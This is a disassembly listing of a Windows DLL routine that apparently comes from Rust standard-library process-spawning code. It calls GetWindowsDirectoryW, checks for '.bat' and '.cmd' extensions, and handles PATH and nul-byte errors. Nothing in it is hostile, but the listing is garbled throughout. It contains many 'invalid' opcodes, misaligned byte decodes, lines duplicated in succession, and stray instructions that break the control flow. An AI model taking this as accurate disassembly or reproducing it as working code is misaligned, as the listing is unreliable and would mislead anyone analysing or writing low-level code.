mov r8, qword [rbp + 0x30]
mov rcx, r14
mov rdx, r15
call fcn.180054040
cmp qword [rbp + 0x20], 0
je 0x18004f34a
mov edx, 1
mov rcx, r15
call fcn.18001b8e0
mov rax, qword [rbp - 0x10]
cmp rax, rsi
jne 0x180050477
mov byte [rbp + 0x667], 1
mov rcx, r12
mov rdx, rdi
call fcn.18004a0a0
jmp 0x18004f2ce
test rax, rax
je 0x18004f2bc
mov edx, 1
call fcn.18001b8e0
jmp 0x18004f2bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x4a8], rax
movabs rax, 0x8000000000000001
mov qword [rbp + 0x4a0], rax
cmp qword [rbp + 0x610], 0
je 0x18004f3c7
mov rcx, qword [rbp + 0x618]
mov edx, 2
call fcn.18001b8e0
lea rcx, [rbp + 0x4a8]
mov byte [rbp + 0x667], 1
call fcn.180043db0
mov qword [rbp + 0x610], 0
mov qword [rbp + 0x618], 2
mov qword [rbp + 0x620], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x648], rax
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp r8, 0x201
jb 0x18004f436
jmp 0x18004f450
mov r13, qword [rbp + 0x550]
jae 0x18004f50f
cmp r8, 0x201
jae 0x18004f450
mov r14d, 0x200
lea r15, [rbp + 0x20]
mov r12, r8
jmp 0x18004f4a7
add byte [rax], al
add byte [rcx + 0x29], cl
clc
sub r8, rdi
sub rsi, rdi
cmp rsi, r8
jae 0x18004f47f
lea rcx, [rbp + 0x610]
mov rdx, rdi
call fcn.18006a570
add byte [rax - 0x75], cl
popfq
adc byte [rsi], al
add byte [rax], al
add byte [rax - 0x75], cl
popfq
adc byte [rsi], al
add byte [rax], al
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x648], rax
mov eax, 0xffffffff
cmp rbx, rax
cmp ebx, eax
cmp ebx, eax
mov edi, 0xffffffff
cmovb rdi, rbx
mov qword [rbp + 0x620], rdi
mov rsi, rbx
mov r14, rdi
mov r15, qword [rbp + 0x648]
invalid
add byte [rax], al
mov r12, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, r15
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov r13d, eax
test eax, eax
jne 0x18004f4d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1800501ab
mov r8d, r13d
cmp r12, r8
jne 0x18004f420
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x180050ca5
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jae 0x18004f450
in al, 0xb8
jmp 0x18004f436
cmp r14, r8
jb 0x180050d68
lea rcx, [rbp + 0x580]
mov rdx, r15
cli
cli
call fcn.1800474f0
lea rcx, [rbp + 0x580]
mov rbx, qword [rbp + 0x640]
mov rdx, rbx
mov r8, qword [rbp + 0x658]
call fcn.18004b120
movzx eax, byte [rbp + 0x5f8]
test al, al
jne 0x18004f55b
lea rcx, [rbp + 0x580]
call fcn.18004d7f0
mov rdi, qword [rbp + 0x588]
mov r8, qword [rbp + 0x590]
lea rcx, [rbp + 0x4c0]
mov rdx, rdi
call fcn.180054040
cmp qword [rbp + 0x580], 0
je 0x18004f58f
mov edx, 1
mov rcx, rdi
call fcn.18001b8e0
movups xmm0, xmmword [rbp + 0x4c0]
movaps xmmword [rbp + 0x560], xmm0
mov rax, qword [rbp + 0x4d0]
mov qword [rbp + 0x570], rax
cmp qword [rbp + 0x610], 0
je 0x18004f5c6
mov rcx, qword [rbp + 0x618]
mov edx, 2
call fcn.18001b8e0
mov rcx, qword [rbp + 0x560]
movabs rax, 0x8000000000000002
cmp rcx, rax
jge 0x1800503f6
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x1800501fa
jmp 0x18005020d
adc al, 0x48
test eax, eax
cmove rcx, rdx
add r8, rcx
sub r8, r10
cmp rsi, r8
cmovae rsi, r8
lea rcx, [rbp + 0x20]
mov rdx, r10
mov r8, rsi
call fcn.1800490e0
mov rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x28]
cmp rcx, rdi
jne 0x18004f64a
mov qword [rbp + 0x488], rax
mov qword [rbp + 0x480], rdi
jmp 0x18004f66a
mov rdx, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
sub byte [rax - 0x77], cl
push rbp
xor byte [rax - 0x73], cl
lea eax, [rax + 0x48000004]
lea edx, [rbp + 0x20]
sub byte [rax - 0x77], cl
push rbp
xor byte [rax - 0x73], cl
lea eax, [rax + 0x48000004]
lea edx, [rbp + 0x20]
call fcn.180053f60
cmp qword [rbp + 0x648], 0
mov rcx, qword [rbp + 0x658]
add byte [rax - 0x75], cl
lea ebx, [rax + 6]
add byte [rax], al
je 0x18004f685
mov edx, 1
call fcn.18001b8e0
mov rcx, qword [rbp + 0x480]
mov rdi, qword [rbp + 0x488]
mov edi, dword [rbp + 0x488]
mov edi, dword [rbp + 0x488]
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x18004f754
mov rax, qword [rbp + 0x600]
add byte [rsi], al
add byte [rax], al
mov rcx, qword [rbp + 0x5e8]
mov qword [rcx], rdi
mov qword [rcx + 0x10], 2
cmp qword [rbp + 0x460], 0
je 0x18004f72a
mov ebp, 0x460
add byte [rcx + riz*2 + 0x48], dh
mov ecx, dword [rbp + 0x468]
mov rcx, qword [rbp + 0x468]
test rcx, rcx
je 0x18004f70a
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x478]
mov eax, dword [rbp + 0x478]
mov eax, dword [rbp + 0x478]
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], rdx
push rbp
cmp byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
push rbp
cmp byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], rdx
mov ecx, 1
jmp 0x18004f70e
invalid
add al, 0x31
leave
xor ecx, ecx
xor eax, eax
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x20]
call fcn.180055460
mov rax, qword [rbp + 0x600]
test dword [rax], eax
invalid
cmp dword [rax], 4
jb 0x18004f739
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm6, xmmword [rbp + 0x670]
add rsp, 0x708
add esp, 0x708
add esp, 0x708
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x648], rcx
mov rsi, qword [rbp + 0x490]
cmp rsi, 5
mov qword [rbp + 0x658], rdi
jb case.0x18005002f.68
lea rax, [rdi + rsi*2]
add al, 0x77
mov rcx, rax
add rcx, 0xfffffffffffffff6
je case.0x18005002f.68
cmp word [rcx], 0x2e
jne case.0x18005002f.68
cmp word [rax - 2], 0
je 0x180050011
mov r14, rbx
mov rsi, qword [r13 + 0x28]
mov rbx, qword [r13 + 0x30]
mov dil, byte [r13 + 0xc5]
mov qword [rbp + 0x580], 0
mov qword [rbp + 0x588], 2
mov qword [rbp + 0x590], 0
lea rcx, [rbp + 0x580]
call fcn.1800489e0
mov rax, qword [rbp + 0x588]
mov rcx, qword [rbp + 0x590]
mov word [rax + rcx*2], 0x22
inc rcx
mov qword [rbp + 0x590], rcx
mov qword [rbp + 0x20], r14
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0x28], rax
mov word [rbp + 0x30], 0
lea rcx, [rbp + 0x580]
lea rdx, [rbp + 0x20]
call fcn.1800492c0
mov rax, qword [rbp + 0x590]
cmp rax, qword [rbp + 0x580]
jne 0x18004f832
lea rcx, [rbp + 0x580]
call fcn.1800489e0
mov rax, qword [rbp + 0x590]
mov rcx, qword [rbp + 0x588]
mov word [rcx + rax*2], 0x22
inc rax
mov qword [rbp + 0x590], rax
lea rax, [rbx + rbx*4]
lea r14, [rsi + rax*8]
lea rbx, [rbp + 0x580]
nop dword [rax + rax]
cmp rsi, r14
je 0x18004f8d5
mov rax, qword [rbp + 0x590]
cmp rax, qword [rbp + 0x580]
jne 0x18004f884
mov rcx, rbx
call fcn.1800489e0
mov rax, qword [rbp + 0x590]
mov rcx, qword [rbp + 0x588]
mov word [rcx + rax*2], 0x20
inc rax
mov qword [rbp + 0x590], rax
mov rcx, rbx
mov rdx, rsi
mov r8d, edi
call fcn.180054ff0
add rsi, 0x28
test rax, rax
je 0x18004f860
cmp qword [rbp + 0x580], 0
je 0x18004f8f2
mov rcx, qword [rbp + 0x588]
mov edx, 2
mov rsi, rax
call fcn.18001b8e0
mov rax, rsi
jmp 0x18004f8f2
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x588]
movabs rcx, 0x8000000000000000
cmp rdx, rcx
jne 0x18004f940
mov r14, qword [rbp + 0x658]
mov rcx, qword [rbp + 0x5e8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
xor esi, esi
mov rax, qword [rbp + 0x600]
cmp qword [rbp + 0x648], 0
je 0x18004f932
mov edx, 2
mov rcx, r14
call fcn.18001b8e0
mov rax, qword [rbp + 0x600]
test sil, sil
je 0x18004f6bf
jmp 0x18004f72a
mov rcx, qword [rbp + 0x590]
mov r12b, 1
mov dword [rbp + 0x5f8], 0
mov r8, qword [rbp + 0x648]
mov qword [rbp + 0x608], r8
mov r14, qword [rbp + 0x658]
mov qword [rbp + 0x640], r14
mov qword [rbp + 0x560], rdx
mov qword [rbp + 0x568], rax
mov qword [rbp + 0x570], rcx
cmp rcx, rdx
jne 0x18004f9b2
mov byte [rbp + 0x655], 1
lea rcx, [rbp + 0x560]
call fcn.1800489e0
mov rax, qword [rbp + 0x568]
mov rcx, qword [rbp + 0x570]
mov r14, qword [rbp + 0x658]
mov word [rax + rcx*2], 0
inc rcx
mov qword [rbp + 0x570], rcx
cmp byte [r13 + 0xc4], 0
mov eax, 0x400
mov r15d, 0x608
cmove r15d, eax
or r15d, dword [r13 + 0xc0]
cmp qword [rbp + 0x460], 0
je 0x18004fa4b
mov dword [rbp + 0x540], r12d
mov rsi, qword [rbp + 0x478]
mov qword [rbp + 0x530], rsi
movups xmm0, xmmword [rbp + 0x468]
movaps xmmword [rbp + 0x520], xmm0
mov qword [rbp + 0x610], 0
mov qword [rbp + 0x618], 2
mov qword [rbp + 0x620], 0
test rsi, rsi
je 0x18004fb80
mov eax, 2
mov qword [rbp + 0x558], rax
xor r12d, r12d
jmp 0x18004fbb9
mov eax, 2
mov qword [rbp + 0x5f0], rax
xor r13d, r13d
xor eax, eax
mov qword [rbp + 0x630], rax
movabs rsi, 0x8000000000000000
mov rcx, qword [rbp + 0x550]
cmp qword [rcx + 0x38], rsi
jne 0x1800500d0
mov eax, 2
xor ebx, ebx
xor ecx, ecx
mov qword [rbp + 0x538], rcx
mov qword [rbp + 0x548], rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x610], xmm0
mov qword [rbp + 0x620], 0
mov cl, 1
xor eax, eax
lock cmpxchg byte [0x18008b288], cl
jne 0x1800506b1
mov rax, qword [0x18008b2f8]
shl rax, 1
test rax, rax
jne 0x1800506c2
xor eax, eax
lea rcx, [0x18008b288]
movzx edx, byte [0x18008b289]
xor r8d, r8d
test dl, dl
setne r8b
mov qword [rbp + 0x4c8], rcx
mov byte [rbp + 0x4d0], al
mov qword [rbp + 0x4c0], r8
mov qword [rbp + 0x420], 0
mov qword [rbp + 0x430], 0
mov qword [rbp + 0x440], 0
mov rdx, qword [rbp + 0x550]
lea rcx, [rdx + 0x58]
cmp dword [rdx + 0x58], 6
mov rax, qword [rbp + 0x600]
cmove rcx, rax
cmp dword [rdx + 0x68], 6
lea rdi, [rdx + 0x68]
cmove rdi, rax
lea rsi, [rdx + 0x78]
cmp dword [rdx + 0x78], 6
cmove rsi, rax
lea r8, [rbp + 0x420]
mov edx, 0xfffffff6
call fcn.180055510
test rax, rax
je 0x18005048b
mov rax, qword [rbp + 0x5e8]
mov qword [rax], rdx
mov qword [rax + 0x10], 2
jmp 0x1800509d6
mov byte [rbp + 0x666], 1
lea rcx, [rbp + 0x610]
call fcn.1800489e0
mov rax, qword [rbp + 0x618]
mov r12, qword [rbp + 0x620]
mov qword [rbp + 0x558], rax
mov word [rax + r12*2], 0
inc r12
mov qword [rbp + 0x620], r12
mov rax, qword [rbp + 0x520]
mov rcx, qword [rbp + 0x528]
xor edx, edx
test rax, rax
setne dl
cmove rsi, rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rcx
mov qword [rbp + 0x40], rdx
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rcx
mov qword [rbp + 0x60], rsi
lea rcx, [rbp + 0x580]
lea rdx, [rbp + 0x20]
movabs rsi, 0x8000000000000000
mov r13, rdx
call fcn.18004da40
mov rdx, qword [rbp + 0x580]
test rdx, rdx
je 0x1800505ca
mov r9, qword [rbp + 0x590]
imul r8, r9, 0x38
mov rax, qword [rdx + r8 + 0x168]
cmp rax, rsi
je 0x1800505ca
shl r9, 5
mov rcx, qword [rdx + r8 + 0x170]
mov r10, qword [rdx + r8 + 0x188]
mov qword [rbp + 0x538], r10
mov r10, qword [rdx + r8 + 0x190]
mov qword [rbp + 0x5f0], r10
mov rdi, qword [rdx + r8 + 0x198]
mov r10, qword [rdx + r9]
mov qword [rbp + 0x630], r10
mov r10, qword [rdx + r9 + 8]
mov qword [rbp + 0x548], r10
mov r14, qword [rdx + r9 + 0x10]
mov rdx, qword [rdx + r8 + 0x178]
add rdx, rcx
xor r11d, r11d
mov r8, rcx
jmp 0x18004fcbd
xor r11d, r11d
test r9w, r9w
je 0x18004ffbe
mov r9w, 1
test r11w, r11w
jne 0x18004fcb0
cmp r8, rdx
je 0x18004fd78
movzx esi, byte [r8]
movzx r10d, sil
test r10b, r10b
js 0x18004fce6
inc r8
jmp 0x18004fd6d
mov r11d, r10d
and r11d, 0x1f
movzx ebx, byte [r8 + 1]
and ebx, 0x3f
cmp r10b, 0xdf
cli
fbstp tbyte [rsi + 0x38]
add dword [rbx - 0x7fbec01d], eax
cli
fbstp tbyte [rsi + 0x38]
movzx r10d, byte [r8 + 2]
shl ebx, 6
and r10d, 0x3f
or r10d, ebx
cmp sil, 0xf0
invalid
jb 0x18004fd43
invalid
movzx esi, byte [r8 + 3]
jo 0x18004fd18
add r8, 4
and r11d, 7
add al, 0x41
and ebx, 7
shl r11d, 0x12
shl r10d, 6
and esi, 0x3f
or esi, r10d
or esi, edx
or esi, edx
or esi, r11d
mov r10d, esi
mov edx, esi
mov edx, esi
jmp 0x18004fd4e
add r8, 2
shl r11d, 6
or r11d, ebx
mov r10d, r11d
jmp 0x18004fd6d
add r8, 3
shl r11d, 0xc
or r10d, r11d
cmp r10d, 0xffff
jbe 0x18004fd6d
and r10d, 0x3ff
or r10d, 0xdc00
mov r11d, r10d
shr ecx, cl
invalid
invalid
invalid
invalid
xor r11d, r11d
mov r9d, r10d
jmp 0x18004fcb3
test rax, rax
je 0x18004fd87
mov edx, 1
call fcn.18001b8e0
mov rax, qword [rbp + 0x610]
sub rax, r12
cmp rax, rdi
jae 0x18004fdb8
lea rcx, [rbp + 0x610]
mov rdx, r12
mov r8, rdi
call fcn.18006a570
mov rax, qword [rbp + 0x618]
mov r12, qword [rbp + 0x620]
invalid
add byte [rax], al
jmp 0x18004fdbf
invalid
mov rax, qword [rbp + 0x558]
lea r8, [rdi + rdi]
mov rbx, rax
ret
lea rcx, [rax + r12*2]
mov rsi, qword [rbp + 0x5f0]
mov rdx, rsi
call fcn.180068d66
add r12, rdi
mov qword [rbp + 0x620], r12
cmp qword [rbp + 0x538], 0
add eax, 0x74000000
invalid
ret
add eax, 0x74000000
or eax, 0x2ba
add byte [rax - 0x77], cl
int1
mov edx, 2
mov rcx, rsi
call fcn.18001b8e0
cmp r12, qword [rbp + 0x610]
movabs rsi, 0x8000000000000000
jne 0x18004fe2e
mov byte [rbp + 0x654], 1
lea rcx, [rbp + 0x610]
call fcn.1800489e0
mov rbx, qword [rbp + 0x618]
mov r12, qword [rbp + 0x620]
mov word [rbx + r12*2], 0x3d
inc r12
mov qword [rbp + 0x620], r12
mov rcx, qword [rbp + 0x548]
add r14, rcx
xor r8d, r8d
mov rax, rcx
jmp 0x18004fe5e
xor r8d, r8d
test r11w, r11w
je 0x180050410
mov r11w, 1
test r8w, r8w
jne 0x18004fe51
cmp rax, r14
je 0x18004ff14
movzx r9d, byte [rax]
movzx edx, r9b
test dl, dl
js 0x18004fe86
inc rax
jmp 0x18004ff09
mov r8d, edx
and r8d, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x18004fed2
movzx edx, byte [rax + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp r9b, 0xf0
jb 0x18004fee2
movzx r9d, byte [rax + 3]
add rax, 4
and r8d, 7
shl r8d, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
rol dword [rbp + 9], 1
rol dword [rcx + rcx*4 - 0x36], 0xeb
retf 0x1beb
rol dword [rbp + 9], 1
rol dword [rcx + rcx*4 - 0x36], 0xeb
retf 0x1beb
add rax, 2
shl r8d, 6
retf 0x1beb
add rax, 2
shl r8d, 6
or r8d, r10d
mov edx, r8d
jmp 0x18004ff09
add rax, 3
shl r8d, 0xc
add eax, dword [rcx - 0x3f]
loopne 0x18004fef6
or edx, r8d
or edx, eax
cmp edx, 0xffff
jbe 0x18004ff09
and edx, 0x3ff
loop 0x18004fef7
inc dword [rbx]
add eax, dword [rax]
add byte [rcx + 0xdc00ca], al
add byte [rcx - 0x77], al
shr cl, 1
invalid
add byte [rax], al
or edx, 0xdc00
mov r8d, edx
jmp 0x18004fe54
invalid
xor r8d, r8d
mov r11d, edx
jmp 0x18004fe54
cmp qword [rbp + 0x630], rsi
cmp dword [rbp + 0x630], esi
je 0x180050b01
mov qword [rbp + 0x4c0], rcx
mov qword [rbp + 0x4c8], r14
mov word [rbp + 0x4d0], 0
test eax, edx
add al, 0
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rax]
invalid
add byte [rax], al
lea rdx, [rbp + 0x4c0]
call fcn.1800492c0
cmp qword [rbp + 0x630], 0
mov ebp, 0x630
invalid
test eax, edx
add al, 0
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rax]
invalid
mov ebp, 0x630
add byte [rcx + rdx - 0x46], dh
je 0x18004ff66
mov edx, 1
je 0x18004ff66
mov edx, 1
mov rcx, qword [rbp + 0x548]
call fcn.18001b8e0
dec dword [rbx + rcx*4 - 0x5b]
and byte [rsi], al
add byte [rax], al
mov r12, qword [rbp + 0x620]
cmp r12, qword [rbp + 0x610]
movsd dword [rdi], dword [rsi]
adc byte [rsi], al
add byte [rax], al
jne 0x18004ff90
mov byte [rbp + 0x654], 0
lea rcx, [rbp + 0x610]
invalid
add byte [rax], al
call fcn.1800489e0
mov r12, qword [rbp + 0x620]
invalid
invalid
mov rax, qword [rbp + 0x618]
add byte [rax], al
mov qword [rbp + 0x558], rax
mov word [rax + r12*2], 0
add byte [rax], al
add byte [rax], al
inc r12
mov qword [rbp + 0x620], r12
add byte [rax], al
add byte [rax], al
lea rcx, [rbp + 0x580]
mov rdx, r13
mov edx, ebp
mov edx, ebp
jmp 0x18004fc14
test rax, rax
je 0x18004ffcd
mov edx, 1
call fcn.18001b8e0
invalid
invalid
cld
invalid
adc edi, dword [rcx - 0x7cb70004]
cmp qword [rbp + 0x630], 0
mov rdi, qword [rbp + 0x5f0]
mov ebp, 0x630
add byte [rax - 0x75], cl
mov ebp, 0x5f0
je 0x18004ffef
mov edx, 1
mov rcx, qword [rbp + 0x548]
lea ecx, [rax + 5]
add byte [rax], al
lea ecx, [rax + 5]
add byte [rax], al
call fcn.18001b8e0
int1
mov eax, 0x8d48fffc
xor eax, 0x2e2b2
lea rsi, str.nul_byte_found_in_provided_data
cmp qword [rbp + 0x538], 0
je 0x18005042b
mov edx, 2
add byte [rax], al
mov rcx, rdi
jmp 0x180050426
movzx ecx, word [rax - 8]
lea edx, [rcx - 0x42]
cmp edx, 0x21
ja case.0x18005002f.68
lea r8, [0x1800834d0]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
movzx edx, word [rax - 6]
or edx, 0x20
and byte [rbx + 0xc7561fa], al
and byte [rbx + 0xc7561fa], al
movzx edx, word [rax - 4]
or edx, 0x20
cmp edx, 0x74
je 0x180050073
cmp cx, 0x43
jne case.0x18005002f.68
movzx ecx, word [rax - 6]
or ecx, 0x20
cmp ecx, 0x6d
jne case.0x18005002f.68
movzx eax, word [rax - 4]
or eax, 0x20
cmp eax, 0x64
jne case.0x18005002f.68
mov byte [rbp + 0x657], 1
mov byte [rbp + 0x656], 1
lea rcx, [rbp + 0x20]
call fcn.180054110
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x28]
movabs rdi, 0x8000000000000000
cmp rax, rdi
jne 0x18005053d
mov rax, qword [rbp + 0x5e8]
mov qword [rax], rcx
mov qword [rax + 0x10], 2
jmp 0x1800505b5
mov qword [rbp + 0x648], rax
mov rdi, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
jmp 0x18004f762
mov rax, qword [rcx + 0x40]
mov rcx, qword [rcx + 0x48]
add rcx, rax
xor r10d, r10d
mov rdx, rax
jmp 0x1800500f0
xor r10d, r10d
test r8w, r8w
je 0x1800503d8
mov r8w, 1
test r10w, r10w
jne 0x1800500e3
cmp rdx, rcx
je 0x1800504cd
movzx r11d, byte [rdx]
movzx r9d, r11b
test r9b, r9b
js 0x180050119
inc rdx
jmp 0x1800501a0
mov r10d, r9d
and r10d, 0x1f
movzx edi, byte [rdx + 1]
and edi, 0x3f
cmp r9b, 0xdf
jbe 0x180050166
movzx r9d, byte [rdx + 2]
shl edi, 6
and r9d, 0x3f
or r9d, edi
cmp r11b, 0xf0
jb 0x180050176
movzx r11d, byte [rdx + 3]
add rdx, 4
and r10d, 7
shl r10d, 0x12
shl r9d, 6
and r11d, 0x3f
or r11d, r9d
or r11d, r10d
mov r9d, r11d
jmp 0x180050181
add rdx, 2
shl r10d, 6
or r10d, edi
mov r9d, r10d
jmp 0x1800501a0
add rdx, 3
shl r10d, 0xc
or r9d, r10d
cmp r9d, 0xffff
jbe 0x1800501a0
and r9d, 0x3ff
or r9d, 0xdc00
mov r10d, r9d
jmp 0x1800500e6
xor r10d, r10d
mov r8d, r9d
jmp 0x1800500e6
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x568], rax
movabs rax, 0x8000000000000001
mov qword [rbp + 0x560], rax
cmp qword [rbp + 0x610], 0
je 0x1800501ec
mov rcx, qword [rbp + 0x618]
mov edx, 2
call fcn.18001b8e0
mov r13, qword [rbp + 0x550]
mov rbx, qword [rbp + 0x640]
lea rcx, [rbp + 0x568]
mov byte [rbp + 0x667], 1
call fcn.180043db0
mov byte [rbp + 0x667], 1
lea rdx, str.PATHRUST_MIN_STACKlibrary_std_src_sys_commonwtf8.rs
lea rcx, [rbp + 0x4c0]
mov r8d, 4
call fcn.180048cb0
mov rcx, qword [rbp + 0x4c0]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x1800503cc
mov qword [rbp + 0x640], rcx
mov rcx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x4d0]
add rax, rcx
mov qword [rbp + 0x630], rcx
mov qword [rbp + 0x580], rcx
mov qword [rbp + 0x588], rax
mov word [rbp + 0x590], 0
mov byte [rbp + 0x598], 1
lea r12, [rbp + 0x20]
lea rdi, [rbp + 0x580]
lea r14, [rbp + 0x520]
mov rsi, qword [rbp + 0x658]
mov rcx, r12
mov rdx, rdi
call fcn.18004a0a0
jmp 0x1800502b5
mov rax, qword [rbp + 0x20]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1800503b1
mov qword [rbp + 0x648], rcx
mov rdi, qword [rbp + 0x4a8]
mov rsi, qword [rbp + 0x4b0]
jmp 0x18004f762
lea rdi, [0x18007e310]
jmp 0x18004f6a6
lea rbx, str.nul_byte_found_in_provided_data
mov rax, qword [rbp + 0x5e8]
mov qword [rax], rbx
mov qword [rax + 0x10], 2
jmp 0x180050a78
mov qword [rbp + 0x648], rcx
mov rdi, qword [rbp + 0x568]
mov rsi, qword [rbp + 0x570]
jmp 0x18004f762
lea rsi, str.nul_byte_found_in_provided_data
cmp qword [rbp + 0x630], 0
je 0x18005042b
mov edx, 1
call fcn.18001b8e0
mov byte [rbp + 0x666], 0
lea rcx, [rbp + 0x20]
call fcn.180055460
cmp qword [rbp + 0x610], 0
je 0x180050456
mov rcx, qword [rbp + 0x618]
mov edx, 2
call fcn.18001b8e0
mov r14, qword [rbp + 0x658]
mov r13, rsi
mov rax, qword [rbp + 0x5e8]
mov qword [rax], r13
mov qword [rax + 0x10], 2
jmp 0x180050a93
mov qword [rbp + 0x648], rax
mov rdi, qword [rbp - 8]
mov rsi, qword [rbp]
jmp 0x18004f762
mov qword [rbp + 0x558], rdx
lea r8, [rbp + 0x430]
mov rcx, rdi
mov edx, 0xfffffff5
call fcn.180055510
test rax, rax
je 0x18005062b
mov rax, qword [rbp + 0x5e8]
mov qword [rax], rdx
mov qword [rax + 0x10], 2
mov rcx, qword [rbp + 0x558]
jmp 0x1800509d0
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
mov word [rbp + 0x30], 0
lea rcx, [rbp + 0x580]
lea rdx, [rbp + 0x20]
call fcn.180051e20
mov rcx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x590]
cmp rax, rcx
jne 0x180050518
lea rcx, [rbp + 0x580]
call fcn.1800489e0
mov rcx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x590]
mov rbx, qword [rbp + 0x588]
mov word [rbx + rax*2], 0
mov rax, rbx
cmp rcx, rsi
mov r14, qword [rbp + 0x658]
jne 0x18004fa87
jmp 0x1800503df
mov qword [rbp + 0x608], rax
mov qword [rbp + 0x640], rcx
mov r9, qword [r13 + 0x28]
mov rax, qword [r13 + 0x30]
movzx ecx, byte [r13 + 0xc5]
mov byte [rsp + 0x28], cl
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x20]
mov rdx, qword [rbp + 0x658]
mov r8, rsi
call fcn.180054600
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x28]
cmp rdx, rdi
jne 0x18005066c
mov rcx, qword [rbp + 0x5e8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
cmp qword [rbp + 0x608], 0
je 0x1800505b5
mov edx, 2
mov rcx, qword [rbp + 0x640]
call fcn.18001b8e0
xor esi, esi
mov rax, qword [rbp + 0x600]
mov r14, qword [rbp + 0x658]
jmp 0x18004f914
mov byte [rbp + 0x666], 0
lea rcx, [rbp + 0x20]
call fcn.180055460
cmp r12, qword [rbp + 0x610]
mov r13, qword [rbp + 0x558]
jne 0x18005060b
mov byte [rbp + 0x666], 0
lea rcx, [rbp + 0x610]
call fcn.1800489e0
mov r13, qword [rbp + 0x618]
mov r12, qword [rbp + 0x620]
mov word [r13 + r12*2], 0
mov rax, qword [rbp + 0x610]
cmp rax, rsi
jne 0x180050689
mov r14, qword [rbp + 0x658]
jmp 0x180050460
mov qword [rbp + 0x540], rdx
lea r8, [rbp + 0x440]
mov rcx, rsi
mov edx, 0xfffffff4
call fcn.180055510
test rax, rax
mov rax, qword [rbp + 0x558]
je 0x1800506ce
mov rsi, rax
mov rax, qword [rbp + 0x5e8]
mov qword [rax], rdx
mov qword [rax + 0x10], 2
jmp 0x1800509c0
mov rcx, qword [rbp + 0x30]
mov r8b, 1
mov dword [rbp + 0x5f8], r8d
xor r12d, r12d
mov r14, qword [rbp + 0x658]
jmp 0x18004f970
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x5f0], rax
mov r14, qword [rbp + 0x658]
mov r12d, dword [rbp + 0x540]
jmp 0x18004fa63
lea rcx, [0x18008b288]
call fcn.18006a610
jmp 0x18004fabc
call fcn.18006a6d0
xor al, 1
jmp 0x18004fad1
xorps xmm0, xmm0
movups xmmword [rbp + 0x5b4], xmm0
movups xmmword [rbp + 0x5a8], xmm0
movups xmmword [rbp + 0x598], xmm0
movups xmmword [rbp + 0x588], xmm0
movups xmmword [rbp + 0x5c8], xmm0
movups xmmword [rbp + 0x5d8], xmm0
test rdx, rdx
mov rcx, qword [rbp + 0x540]
jne 0x180050711
test rcx, rcx
jne 0x180050711
test rax, rax
je 0x180050730
mov dword [rbp + 0x5bc], 0x100
mov qword [rbp + 0x5d0], rax
mov qword [rbp + 0x5d8], rcx
mov qword [rbp + 0x5e0], rdx
mov rax, rdx
mov rdx, qword [rbp + 0x550]
mov r14, qword [rdx + 0xb8]
test r14, r14
mov qword [rbp + 0x498], rax
je 0x1800507fa
add rdx, 0xa8
mov dword [rbp + 0x580], 0x70
lea rcx, [rbp + 0x520]
call fcn.180055e00
mov rsi, qword [rbp + 0x520]
test rsi, rsi
je 0x180050993
or r15d, 0x80000
mov rdi, qword [rbp + 0x528]
movups xmm0, xmmword [rbp + 0x580]
movups xmm1, xmmword [rbp + 0x590]
movups xmm2, xmmword [rbp + 0x5a0]
movups xmm3, xmmword [rbp + 0x5b0]
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x30], xmm1
